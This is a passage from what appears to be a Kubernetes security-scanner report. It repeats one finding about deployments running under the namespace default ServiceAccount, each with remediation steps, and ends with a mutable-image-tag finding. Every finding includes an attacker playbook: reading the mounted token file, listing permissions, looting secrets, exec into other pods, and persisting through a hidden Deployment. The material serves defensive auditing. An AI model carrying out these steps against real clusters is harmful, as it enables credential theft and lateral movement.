  1. Create a ServiceAccount: kubectl -n containersec-fixtures create sa containersec-limits-sa. Grant only the verbs/resources the app actually needs via a Role + RoleBinding.
  2. Reference the new SA in the PodSpec via serviceAccountName: containersec-limits-sa. If the app does NOT need to talk to the API at all, also set automountServiceAccountToken: false.
  3. Disable automount on the namespace default SA: kubectl patch sa default -n containersec-fixtures -p '{"automountServiceAccountToken": false}'.
  4. Validate: kubectl get pod -n containersec-fixtures -l <selector> -o jsonpath='{.items[*].spec.serviceAccountName}' returns the new SA, not default.
Evidence
ServiceAccountdefault
Show raw JSON
{
  "service_account": "default"
}
MEDIUM Deployment/containersec-fixtures/containersec-probes Workload 5.4
Workload Deployment/containersec-fixtures/containersec-probes runs as the namespace default ServiceAccount
Scope · Workload Workload Deployment/containersec-fixtures/containersec-probes
Category: Privilege Escalation Resource: Deployment/containersec-fixtures/containersec-probes Namespace: containersec-fixtures

Workload Deployment/containersec-fixtures/containersec-probes does not specify serviceAccountName and therefore runs as the namespace's default ServiceAccount, which by default has its token auto-mounted at /var/run/secrets/kubernetes.io/serviceaccount/token.

The default SA is harmless in a fresh namespace, but it is a magnet for permission accumulation: operators, Helm charts, and ClusterRoleBindings frequently bind permissions to it (often by mistake, via subjects: [{kind: ServiceAccount, name: default, namespace: foo}]), and the only way to know if the SA is dangerous is to enumerate every binding referencing it.

The Kubernetes RBAC Good Practices guide explicitly recommends per-workload ServiceAccounts so that the blast radius of an exposed token is bounded by a single workload's needs. An attacker with RCE in this pod reads the token, then runs kubectl auth can-i --list to find every accreted permission, often elevated by drift over the namespace's lifetime.

Impact Token theft yields whatever permissions the namespace default SA has been granted (often elevated by drift); enables lateral movement to other workloads in the namespace.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. RCE in the pod.
  2. Read the SA token: cat /var/run/secrets/kubernetes.io/serviceaccount/token.
  3. Enumerate permissions: kubectl --token=$TOKEN auth can-i --list.
  4. Exploit any usable verb. Common findings: secrets/get (loot all secrets), pods/exec (shell into other pods), pods/create with privileged template (escalate to node).
  5. Persist by creating a hidden Deployment with the same compromised SA.
Remediation
Create a dedicated ServiceAccount per workload with least-privilege RBAC; disable automount on the namespace default SA.
  1. Create a ServiceAccount: kubectl -n containersec-fixtures create sa containersec-probes-sa. Grant only the verbs/resources the app actually needs via a Role + RoleBinding.
  2. Reference the new SA in the PodSpec via serviceAccountName: containersec-probes-sa. If the app does NOT need to talk to the API at all, also set automountServiceAccountToken: false.
  3. Disable automount on the namespace default SA: kubectl patch sa default -n containersec-fixtures -p '{"automountServiceAccountToken": false}'.
  4. Validate: kubectl get pod -n containersec-fixtures -l <selector> -o jsonpath='{.items[*].spec.serviceAccountName}' returns the new SA, not default.
Evidence
ServiceAccountdefault
Show raw JSON
{
  "service_account": "default"
}
MEDIUM Deployment/flat-network/api Workload 5.4
Workload Deployment/flat-network/api runs as the namespace default ServiceAccount
Scope · Workload Workload Deployment/flat-network/api
Category: Privilege Escalation Resource: Deployment/flat-network/api Namespace: flat-network

Workload Deployment/flat-network/api does not specify serviceAccountName and therefore runs as the namespace's default ServiceAccount, which by default has its token auto-mounted at /var/run/secrets/kubernetes.io/serviceaccount/token.

The default SA is harmless in a fresh namespace, but it is a magnet for permission accumulation: operators, Helm charts, and ClusterRoleBindings frequently bind permissions to it (often by mistake, via subjects: [{kind: ServiceAccount, name: default, namespace: foo}]), and the only way to know if the SA is dangerous is to enumerate every binding referencing it.

The Kubernetes RBAC Good Practices guide explicitly recommends per-workload ServiceAccounts so that the blast radius of an exposed token is bounded by a single workload's needs. An attacker with RCE in this pod reads the token, then runs kubectl auth can-i --list to find every accreted permission, often elevated by drift over the namespace's lifetime.

Impact Token theft yields whatever permissions the namespace default SA has been granted (often elevated by drift); enables lateral movement to other workloads in the namespace.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. RCE in the pod.
  2. Read the SA token: cat /var/run/secrets/kubernetes.io/serviceaccount/token.
  3. Enumerate permissions: kubectl --token=$TOKEN auth can-i --list.
  4. Exploit any usable verb. Common findings: secrets/get (loot all secrets), pods/exec (shell into other pods), pods/create with privileged template (escalate to node).
  5. Persist by creating a hidden Deployment with the same compromised SA.
Remediation
Create a dedicated ServiceAccount per workload with least-privilege RBAC; disable automount on the namespace default SA.
  1. Create a ServiceAccount: kubectl -n flat-network create sa api-sa. Grant only the verbs/resources the app actually needs via a Role + RoleBinding.
  2. Reference the new SA in the PodSpec via serviceAccountName: api-sa. If the app does NOT need to talk to the API at all, also set automountServiceAccountToken: false.
  3. Disable automount on the namespace default SA: kubectl patch sa default -n flat-network -p '{"automountServiceAccountToken": false}'.
  4. Validate: kubectl get pod -n flat-network -l <selector> -o jsonpath='{.items[*].spec.serviceAccountName}' returns the new SA, not default.
Evidence
ServiceAccountdefault
Show raw JSON
{
  "service_account": "default"
}
MEDIUM Deployment/flat-network/unmatched Workload 5.4
Workload Deployment/flat-network/unmatched runs as the namespace default ServiceAccount
Scope · Workload Workload Deployment/flat-network/unmatched
Category: Privilege Escalation Resource: Deployment/flat-network/unmatched Namespace: flat-network

Workload Deployment/flat-network/unmatched does not specify serviceAccountName and therefore runs as the namespace's default ServiceAccount, which by default has its token auto-mounted at /var/run/secrets/kubernetes.io/serviceaccount/token.

The default SA is harmless in a fresh namespace, but it is a magnet for permission accumulation: operators, Helm charts, and ClusterRoleBindings frequently bind permissions to it (often by mistake, via subjects: [{kind: ServiceAccount, name: default, namespace: foo}]), and the only way to know if the SA is dangerous is to enumerate every binding referencing it.

The Kubernetes RBAC Good Practices guide explicitly recommends per-workload ServiceAccounts so that the blast radius of an exposed token is bounded by a single workload's needs. An attacker with RCE in this pod reads the token, then runs kubectl auth can-i --list to find every accreted permission, often elevated by drift over the namespace's lifetime.

Impact Token theft yields whatever permissions the namespace default SA has been granted (often elevated by drift); enables lateral movement to other workloads in the namespace.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. RCE in the pod.
  2. Read the SA token: cat /var/run/secrets/kubernetes.io/serviceaccount/token.
  3. Enumerate permissions: kubectl --token=$TOKEN auth can-i --list.
  4. Exploit any usable verb. Common findings: secrets/get (loot all secrets), pods/exec (shell into other pods), pods/create with privileged template (escalate to node).
  5. Persist by creating a hidden Deployment with the same compromised SA.
Remediation
Create a dedicated ServiceAccount per workload with least-privilege RBAC; disable automount on the namespace default SA.
  1. Create a ServiceAccount: kubectl -n flat-network create sa unmatched-sa. Grant only the verbs/resources the app actually needs via a Role + RoleBinding.
  2. Reference the new SA in the PodSpec via serviceAccountName: unmatched-sa. If the app does NOT need to talk to the API at all, also set automountServiceAccountToken: false.
  3. Disable automount on the namespace default SA: kubectl patch sa default -n flat-network -p '{"automountServiceAccountToken": false}'.
  4. Validate: kubectl get pod -n flat-network -l <selector> -o jsonpath='{.items[*].spec.serviceAccountName}' returns the new SA, not default.
Evidence
ServiceAccountdefault
Show raw JSON
{
  "service_account": "default"
}
MEDIUM Deployment/ingress-only/ingress-app Workload 5.4
Workload Deployment/ingress-only/ingress-app runs as the namespace default ServiceAccount
Scope · Workload Workload Deployment/ingress-only/ingress-app
Category: Privilege Escalation Resource: Deployment/ingress-only/ingress-app Namespace: ingress-only

Workload Deployment/ingress-only/ingress-app does not specify serviceAccountName and therefore runs as the namespace's default ServiceAccount, which by default has its token auto-mounted at /var/run/secrets/kubernetes.io/serviceaccount/token.

The default SA is harmless in a fresh namespace, but it is a magnet for permission accumulation: operators, Helm charts, and ClusterRoleBindings frequently bind permissions to it (often by mistake, via subjects: [{kind: ServiceAccount, name: default, namespace: foo}]), and the only way to know if the SA is dangerous is to enumerate every binding referencing it.

The Kubernetes RBAC Good Practices guide explicitly recommends per-workload ServiceAccounts so that the blast radius of an exposed token is bounded by a single workload's needs. An attacker with RCE in this pod reads the token, then runs kubectl auth can-i --list to find every accreted permission, often elevated by drift over the namespace's lifetime.

Impact Token theft yields whatever permissions the namespace default SA has been granted (often elevated by drift); enables lateral movement to other workloads in the namespace.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. RCE in the pod.
  2. Read the SA token: cat /var/run/secrets/kubernetes.io/serviceaccount/token.
  3. Enumerate permissions: kubectl --token=$TOKEN auth can-i --list.
  4. Exploit any usable verb. Common findings: secrets/get (loot all secrets), pods/exec (shell into other pods), pods/create with privileged template (escalate to node).
  5. Persist by creating a hidden Deployment with the same compromised SA.
Remediation
Create a dedicated ServiceAccount per workload with least-privilege RBAC; disable automount on the namespace default SA.
  1. Create a ServiceAccount: kubectl -n ingress-only create sa ingress-app-sa. Grant only the verbs/resources the app actually needs via a Role + RoleBinding.
  2. Reference the new SA in the PodSpec via serviceAccountName: ingress-app-sa. If the app does NOT need to talk to the API at all, also set automountServiceAccountToken: false.
  3. Disable automount on the namespace default SA: kubectl patch sa default -n ingress-only -p '{"automountServiceAccountToken": false}'.
  4. Validate: kubectl get pod -n ingress-only -l <selector> -o jsonpath='{.items[*].spec.serviceAccountName}' returns the new SA, not default.
Evidence
ServiceAccountdefault
Show raw JSON
{
  "service_account": "default"
}
MEDIUM Deployment/netpol-imds/imds-allow-app Workload 5.4
Workload Deployment/netpol-imds/imds-allow-app runs as the namespace default ServiceAccount
Scope · Workload Workload Deployment/netpol-imds/imds-allow-app
Category: Privilege Escalation Resource: Deployment/netpol-imds/imds-allow-app Namespace: netpol-imds

Workload Deployment/netpol-imds/imds-allow-app does not specify serviceAccountName and therefore runs as the namespace's default ServiceAccount, which by default has its token auto-mounted at /var/run/secrets/kubernetes.io/serviceaccount/token.

The default SA is harmless in a fresh namespace, but it is a magnet for permission accumulation: operators, Helm charts, and ClusterRoleBindings frequently bind permissions to it (often by mistake, via subjects: [{kind: ServiceAccount, name: default, namespace: foo}]), and the only way to know if the SA is dangerous is to enumerate every binding referencing it.

The Kubernetes RBAC Good Practices guide explicitly recommends per-workload ServiceAccounts so that the blast radius of an exposed token is bounded by a single workload's needs. An attacker with RCE in this pod reads the token, then runs kubectl auth can-i --list to find every accreted permission, often elevated by drift over the namespace's lifetime.

Impact Token theft yields whatever permissions the namespace default SA has been granted (often elevated by drift); enables lateral movement to other workloads in the namespace.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. RCE in the pod.
  2. Read the SA token: cat /var/run/secrets/kubernetes.io/serviceaccount/token.
  3. Enumerate permissions: kubectl --token=$TOKEN auth can-i --list.
  4. Exploit any usable verb. Common findings: secrets/get (loot all secrets), pods/exec (shell into other pods), pods/create with privileged template (escalate to node).
  5. Persist by creating a hidden Deployment with the same compromised SA.
Remediation
Create a dedicated ServiceAccount per workload with least-privilege RBAC; disable automount on the namespace default SA.
  1. Create a ServiceAccount: kubectl -n netpol-imds create sa imds-allow-app-sa. Grant only the verbs/resources the app actually needs via a Role + RoleBinding.
  2. Reference the new SA in the PodSpec via serviceAccountName: imds-allow-app-sa. If the app does NOT need to talk to the API at all, also set automountServiceAccountToken: false.
  3. Disable automount on the namespace default SA: kubectl patch sa default -n netpol-imds -p '{"automountServiceAccountToken": false}'.
  4. Validate: kubectl get pod -n netpol-imds -l <selector> -o jsonpath='{.items[*].spec.serviceAccountName}' returns the new SA, not default.
Evidence
ServiceAccountdefault
Show raw JSON
{
  "service_account": "default"
}
MEDIUM Deployment/netpol-imds/imds-open-app Workload 5.4
Workload Deployment/netpol-imds/imds-open-app runs as the namespace default ServiceAccount
Scope · Workload Workload Deployment/netpol-imds/imds-open-app
Category: Privilege Escalation Resource: Deployment/netpol-imds/imds-open-app Namespace: netpol-imds

Workload Deployment/netpol-imds/imds-open-app does not specify serviceAccountName and therefore runs as the namespace's default ServiceAccount, which by default has its token auto-mounted at /var/run/secrets/kubernetes.io/serviceaccount/token.

The default SA is harmless in a fresh namespace, but it is a magnet for permission accumulation: operators, Helm charts, and ClusterRoleBindings frequently bind permissions to it (often by mistake, via subjects: [{kind: ServiceAccount, name: default, namespace: foo}]), and the only way to know if the SA is dangerous is to enumerate every binding referencing it.

The Kubernetes RBAC Good Practices guide explicitly recommends per-workload ServiceAccounts so that the blast radius of an exposed token is bounded by a single workload's needs. An attacker with RCE in this pod reads the token, then runs kubectl auth can-i --list to find every accreted permission, often elevated by drift over the namespace's lifetime.

Impact Token theft yields whatever permissions the namespace default SA has been granted (often elevated by drift); enables lateral movement to other workloads in the namespace.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. RCE in the pod.
  2. Read the SA token: cat /var/run/secrets/kubernetes.io/serviceaccount/token.
  3. Enumerate permissions: kubectl --token=$TOKEN auth can-i --list.
  4. Exploit any usable verb. Common findings: secrets/get (loot all secrets), pods/exec (shell into other pods), pods/create with privileged template (escalate to node).
  5. Persist by creating a hidden Deployment with the same compromised SA.
Remediation
Create a dedicated ServiceAccount per workload with least-privilege RBAC; disable automount on the namespace default SA.
  1. Create a ServiceAccount: kubectl -n netpol-imds create sa imds-open-app-sa. Grant only the verbs/resources the app actually needs via a Role + RoleBinding.
  2. Reference the new SA in the PodSpec via serviceAccountName: imds-open-app-sa. If the app does NOT need to talk to the API at all, also set automountServiceAccountToken: false.
  3. Disable automount on the namespace default SA: kubectl patch sa default -n netpol-imds -p '{"automountServiceAccountToken": false}'.
  4. Validate: kubectl get pod -n netpol-imds -l <selector> -o jsonpath='{.items[*].spec.serviceAccountName}' returns the new SA, not default.
Evidence
ServiceAccountdefault
Show raw JSON
{
  "service_account": "default"
}
MEDIUM Deployment/psa-suppressed/psa-priv-app Workload 5.4
Workload Deployment/psa-suppressed/psa-priv-app runs as the namespace default ServiceAccount
Scope · Workload Workload Deployment/psa-suppressed/psa-priv-app
Category: Privilege Escalation Resource: Deployment/psa-suppressed/psa-priv-app Namespace: psa-suppressed

Workload Deployment/psa-suppressed/psa-priv-app does not specify serviceAccountName and therefore runs as the namespace's default ServiceAccount, which by default has its token auto-mounted at /var/run/secrets/kubernetes.io/serviceaccount/token.

The default SA is harmless in a fresh namespace, but it is a magnet for permission accumulation: operators, Helm charts, and ClusterRoleBindings frequently bind permissions to it (often by mistake, via subjects: [{kind: ServiceAccount, name: default, namespace: foo}]), and the only way to know if the SA is dangerous is to enumerate every binding referencing it.

The Kubernetes RBAC Good Practices guide explicitly recommends per-workload ServiceAccounts so that the blast radius of an exposed token is bounded by a single workload's needs. An attacker with RCE in this pod reads the token, then runs kubectl auth can-i --list to find every accreted permission, often elevated by drift over the namespace's lifetime.

Impact Token theft yields whatever permissions the namespace default SA has been granted (often elevated by drift); enables lateral movement to other workloads in the namespace.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. RCE in the pod.
  2. Read the SA token: cat /var/run/secrets/kubernetes.io/serviceaccount/token.
  3. Enumerate permissions: kubectl --token=$TOKEN auth can-i --list.
  4. Exploit any usable verb. Common findings: secrets/get (loot all secrets), pods/exec (shell into other pods), pods/create with privileged template (escalate to node).
  5. Persist by creating a hidden Deployment with the same compromised SA.
Remediation
Create a dedicated ServiceAccount per workload with least-privilege RBAC; disable automount on the namespace default SA.
  1. Create a ServiceAccount: kubectl -n psa-suppressed create sa psa-priv-app-sa. Grant only the verbs/resources the app actually needs via a Role + RoleBinding.
  2. Reference the new SA in the PodSpec via serviceAccountName: psa-priv-app-sa. If the app does NOT need to talk to the API at all, also set automountServiceAccountToken: false.
  3. Disable automount on the namespace default SA: kubectl patch sa default -n psa-suppressed -p '{"automountServiceAccountToken": false}'.
  4. Validate: kubectl get pod -n psa-suppressed -l <selector> -o jsonpath='{.items[*].spec.serviceAccountName}' returns the new SA, not default.
Evidence
ServiceAccountdefault
Show raw JSON
{
  "service_account": "default"
}
MEDIUM Deployment/vulnerable/generic-hostpath-app Workload 5.4
Workload Deployment/vulnerable/generic-hostpath-app runs as the namespace default ServiceAccount
Scope · Workload Workload Deployment/vulnerable/generic-hostpath-app
Category: Privilege Escalation Resource: Deployment/vulnerable/generic-hostpath-app Namespace: vulnerable

Workload Deployment/vulnerable/generic-hostpath-app does not specify serviceAccountName and therefore runs as the namespace's default ServiceAccount, which by default has its token auto-mounted at /var/run/secrets/kubernetes.io/serviceaccount/token.

The default SA is harmless in a fresh namespace, but it is a magnet for permission accumulation: operators, Helm charts, and ClusterRoleBindings frequently bind permissions to it (often by mistake, via subjects: [{kind: ServiceAccount, name: default, namespace: foo}]), and the only way to know if the SA is dangerous is to enumerate every binding referencing it.

The Kubernetes RBAC Good Practices guide explicitly recommends per-workload ServiceAccounts so that the blast radius of an exposed token is bounded by a single workload's needs. An attacker with RCE in this pod reads the token, then runs kubectl auth can-i --list to find every accreted permission, often elevated by drift over the namespace's lifetime.

Impact Token theft yields whatever permissions the namespace default SA has been granted (often elevated by drift); enables lateral movement to other workloads in the namespace.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. RCE in the pod.
  2. Read the SA token: cat /var/run/secrets/kubernetes.io/serviceaccount/token.
  3. Enumerate permissions: kubectl --token=$TOKEN auth can-i --list.
  4. Exploit any usable verb. Common findings: secrets/get (loot all secrets), pods/exec (shell into other pods), pods/create with privileged template (escalate to node).
  5. Persist by creating a hidden Deployment with the same compromised SA.
Remediation
Create a dedicated ServiceAccount per workload with least-privilege RBAC; disable automount on the namespace default SA.
  1. Create a ServiceAccount: kubectl -n vulnerable create sa generic-hostpath-app-sa. Grant only the verbs/resources the app actually needs via a Role + RoleBinding.
  2. Reference the new SA in the PodSpec via serviceAccountName: generic-hostpath-app-sa. If the app does NOT need to talk to the API at all, also set automountServiceAccountToken: false.
  3. Disable automount on the namespace default SA: kubectl patch sa default -n vulnerable -p '{"automountServiceAccountToken": false}'.
  4. Validate: kubectl get pod -n vulnerable -l <selector> -o jsonpath='{.items[*].spec.serviceAccountName}' returns the new SA, not default.
Evidence
ServiceAccountdefault
Show raw JSON
{
  "service_account": "default"
}
MEDIUM Deployment/vulnerable/host-ns-app Workload 5.4
Workload Deployment/vulnerable/host-ns-app runs as the namespace default ServiceAccount
Scope · Workload Workload Deployment/vulnerable/host-ns-app
Category: Privilege Escalation Resource: Deployment/vulnerable/host-ns-app Namespace: vulnerable

Workload Deployment/vulnerable/host-ns-app does not specify serviceAccountName and therefore runs as the namespace's default ServiceAccount, which by default has its token auto-mounted at /var/run/secrets/kubernetes.io/serviceaccount/token.

The default SA is harmless in a fresh namespace, but it is a magnet for permission accumulation: operators, Helm charts, and ClusterRoleBindings frequently bind permissions to it (often by mistake, via subjects: [{kind: ServiceAccount, name: default, namespace: foo}]), and the only way to know if the SA is dangerous is to enumerate every binding referencing it.

The Kubernetes RBAC Good Practices guide explicitly recommends per-workload ServiceAccounts so that the blast radius of an exposed token is bounded by a single workload's needs. An attacker with RCE in this pod reads the token, then runs kubectl auth can-i --list to find every accreted permission, often elevated by drift over the namespace's lifetime.

Impact Token theft yields whatever permissions the namespace default SA has been granted (often elevated by drift); enables lateral movement to other workloads in the namespace.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. RCE in the pod.
  2. Read the SA token: cat /var/run/secrets/kubernetes.io/serviceaccount/token.
  3. Enumerate permissions: kubectl --token=$TOKEN auth can-i --list.
  4. Exploit any usable verb. Common findings: secrets/get (loot all secrets), pods/exec (shell into other pods), pods/create with privileged template (escalate to node).
  5. Persist by creating a hidden Deployment with the same compromised SA.
Remediation
Create a dedicated ServiceAccount per workload with least-privilege RBAC; disable automount on the namespace default SA.
  1. Create a ServiceAccount: kubectl -n vulnerable create sa host-ns-app-sa. Grant only the verbs/resources the app actually needs via a Role + RoleBinding.
  2. Reference the new SA in the PodSpec via serviceAccountName: host-ns-app-sa. If the app does NOT need to talk to the API at all, also set automountServiceAccountToken: false.
  3. Disable automount on the namespace default SA: kubectl patch sa default -n vulnerable -p '{"automountServiceAccountToken": false}'.
  4. Validate: kubectl get pod -n vulnerable -l <selector> -o jsonpath='{.items[*].spec.serviceAccountName}' returns the new SA, not default.
Evidence
ServiceAccountdefault
Show raw JSON
{
  "service_account": "default"
}
MEDIUM Deployment/vulnerable/risky-app Workload 5.4
Workload Deployment/vulnerable/risky-app runs as the namespace default ServiceAccount
Scope · Workload Workload Deployment/vulnerable/risky-app
Category: Privilege Escalation Resource: Deployment/vulnerable/risky-app Namespace: vulnerable

Workload Deployment/vulnerable/risky-app does not specify serviceAccountName and therefore runs as the namespace's default ServiceAccount, which by default has its token auto-mounted at /var/run/secrets/kubernetes.io/serviceaccount/token.

The default SA is harmless in a fresh namespace, but it is a magnet for permission accumulation: operators, Helm charts, and ClusterRoleBindings frequently bind permissions to it (often by mistake, via subjects: [{kind: ServiceAccount, name: default, namespace: foo}]), and the only way to know if the SA is dangerous is to enumerate every binding referencing it.

The Kubernetes RBAC Good Practices guide explicitly recommends per-workload ServiceAccounts so that the blast radius of an exposed token is bounded by a single workload's needs. An attacker with RCE in this pod reads the token, then runs kubectl auth can-i --list to find every accreted permission, often elevated by drift over the namespace's lifetime.

Impact Token theft yields whatever permissions the namespace default SA has been granted (often elevated by drift); enables lateral movement to other workloads in the namespace.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. RCE in the pod.
  2. Read the SA token: cat /var/run/secrets/kubernetes.io/serviceaccount/token.
  3. Enumerate permissions: kubectl --token=$TOKEN auth can-i --list.
  4. Exploit any usable verb. Common findings: secrets/get (loot all secrets), pods/exec (shell into other pods), pods/create with privileged template (escalate to node).
  5. Persist by creating a hidden Deployment with the same compromised SA.
Remediation
Create a dedicated ServiceAccount per workload with least-privilege RBAC; disable automount on the namespace default SA.
  1. Create a ServiceAccount: kubectl -n vulnerable create sa risky-app-sa. Grant only the verbs/resources the app actually needs via a Role + RoleBinding.
  2. Reference the new SA in the PodSpec via serviceAccountName: risky-app-sa. If the app does NOT need to talk to the API at all, also set automountServiceAccountToken: false.
  3. Disable automount on the namespace default SA: kubectl patch sa default -n vulnerable -p '{"automountServiceAccountToken": false}'.
  4. Validate: kubectl get pod -n vulnerable -l <selector> -o jsonpath='{.items[*].spec.serviceAccountName}' returns the new SA, not default.
Evidence
ServiceAccountdefault
Show raw JSON
{
  "service_account": "default"
}
MEDIUM Deployment/vulnerable/root-runner Workload 5.4
Workload Deployment/vulnerable/root-runner runs as the namespace default ServiceAccount
Scope · Workload Workload Deployment/vulnerable/root-runner
Category: Privilege Escalation Resource: Deployment/vulnerable/root-runner Namespace: vulnerable

Workload Deployment/vulnerable/root-runner does not specify serviceAccountName and therefore runs as the namespace's default ServiceAccount, which by default has its token auto-mounted at /var/run/secrets/kubernetes.io/serviceaccount/token.

The default SA is harmless in a fresh namespace, but it is a magnet for permission accumulation: operators, Helm charts, and ClusterRoleBindings frequently bind permissions to it (often by mistake, via subjects: [{kind: ServiceAccount, name: default, namespace: foo}]), and the only way to know if the SA is dangerous is to enumerate every binding referencing it.

The Kubernetes RBAC Good Practices guide explicitly recommends per-workload ServiceAccounts so that the blast radius of an exposed token is bounded by a single workload's needs. An attacker with RCE in this pod reads the token, then runs kubectl auth can-i --list to find every accreted permission, often elevated by drift over the namespace's lifetime.

Impact Token theft yields whatever permissions the namespace default SA has been granted (often elevated by drift); enables lateral movement to other workloads in the namespace.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. RCE in the pod.
  2. Read the SA token: cat /var/run/secrets/kubernetes.io/serviceaccount/token.
  3. Enumerate permissions: kubectl --token=$TOKEN auth can-i --list.
  4. Exploit any usable verb. Common findings: secrets/get (loot all secrets), pods/exec (shell into other pods), pods/create with privileged template (escalate to node).
  5. Persist by creating a hidden Deployment with the same compromised SA.
Remediation
Create a dedicated ServiceAccount per workload with least-privilege RBAC; disable automount on the namespace default SA.
  1. Create a ServiceAccount: kubectl -n vulnerable create sa root-runner-sa. Grant only the verbs/resources the app actually needs via a Role + RoleBinding.
  2. Reference the new SA in the PodSpec via serviceAccountName: root-runner-sa. If the app does NOT need to talk to the API at all, also set automountServiceAccountToken: false.
  3. Disable automount on the namespace default SA: kubectl patch sa default -n vulnerable -p '{"automountServiceAccountToken": false}'.
  4. Validate: kubectl get pod -n vulnerable -l <selector> -o jsonpath='{.items[*].spec.serviceAccountName}' returns the new SA, not default.
Evidence
ServiceAccountdefault
Show raw JSON
{
  "service_account": "default"
}
MEDIUM Deployment/vulnerable/socket-mounts-app Workload 5.4
Workload Deployment/vulnerable/socket-mounts-app runs as the namespace default ServiceAccount
Scope · Workload Workload Deployment/vulnerable/socket-mounts-app
Category: Privilege Escalation Resource: Deployment/vulnerable/socket-mounts-app Namespace: vulnerable

Workload Deployment/vulnerable/socket-mounts-app does not specify serviceAccountName and therefore runs as the namespace's default ServiceAccount, which by default has its token auto-mounted at /var/run/secrets/kubernetes.io/serviceaccount/token.

The default SA is harmless in a fresh namespace, but it is a magnet for permission accumulation: operators, Helm charts, and ClusterRoleBindings frequently bind permissions to it (often by mistake, via subjects: [{kind: ServiceAccount, name: default, namespace: foo}]), and the only way to know if the SA is dangerous is to enumerate every binding referencing it.

The Kubernetes RBAC Good Practices guide explicitly recommends per-workload ServiceAccounts so that the blast radius of an exposed token is bounded by a single workload's needs. An attacker with RCE in this pod reads the token, then runs kubectl auth can-i --list to find every accreted permission, often elevated by drift over the namespace's lifetime.

Impact Token theft yields whatever permissions the namespace default SA has been granted (often elevated by drift); enables lateral movement to other workloads in the namespace.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. RCE in the pod.
  2. Read the SA token: cat /var/run/secrets/kubernetes.io/serviceaccount/token.
  3. Enumerate permissions: kubectl --token=$TOKEN auth can-i --list.
  4. Exploit any usable verb. Common findings: secrets/get (loot all secrets), pods/exec (shell into other pods), pods/create with privileged template (escalate to node).
  5. Persist by creating a hidden Deployment with the same compromised SA.
Remediation
Create a dedicated ServiceAccount per workload with least-privilege RBAC; disable automount on the namespace default SA.
  1. Create a ServiceAccount: kubectl -n vulnerable create sa socket-mounts-app-sa. Grant only the verbs/resources the app actually needs via a Role + RoleBinding.
  2. Reference the new SA in the PodSpec via serviceAccountName: socket-mounts-app-sa. If the app does NOT need to talk to the API at all, also set automountServiceAccountToken: false.
  3. Disable automount on the namespace default SA: kubectl patch sa default -n vulnerable -p '{"automountServiceAccountToken": false}'.
  4. Validate: kubectl get pod -n vulnerable -l <selector> -o jsonpath='{.items[*].spec.serviceAccountName}' returns the new SA, not default.
Evidence
ServiceAccountdefault
Show raw JSON
{
  "service_account": "default"
}
LOW

Container app uses mutable image tag busybox:latest in Deployment/containersec-fixtures/containersec-image

KUBE-IMAGE-LATEST-001 3 subjects Score 2.5
MITRE ATT&CK: T1525T1195.002T1554

Affected subjects (3)

LOW Deployment/containersec-fixtures/containersec-image Workload 2.5
Container app uses mutable image tag busybox:latest in Deployment/containersec-fixtures/containersec-image
Scope · Workload Workload Deployment/containersec-fixtures/containersec-image
Category: Defense Evasion Resource: Deployment/containersec-fixtures/containersec-image Namespace: containersec-fixtures

Container app in Deployment/containersec-fixtures/containersec-image references the image busybox:latest using a mutable tag (either :latest or no tag, which Kubernetes resolves to :latest). Mutable tags break two safety properties: (1) the same manifest produces non-deterministic deployments, since the tag may resolve to different content on different days; (2) there is no cryptographic binding between the manifest and the image content actually run, so registry-side or in-flight tampering cannot be detected.

This is a defense-evasion / supply-chain hygiene finding rather than an active exploit. Image digests (@sha256:<hex>) are immutable: the digest is computed over the manifest content, so any change yields a different digest. SLSA, Sigstore Cosign, and admission controllers like Kyverno or Connaisseur are the modern controls; pinning to a digest is the prerequisite for verifying signatures.

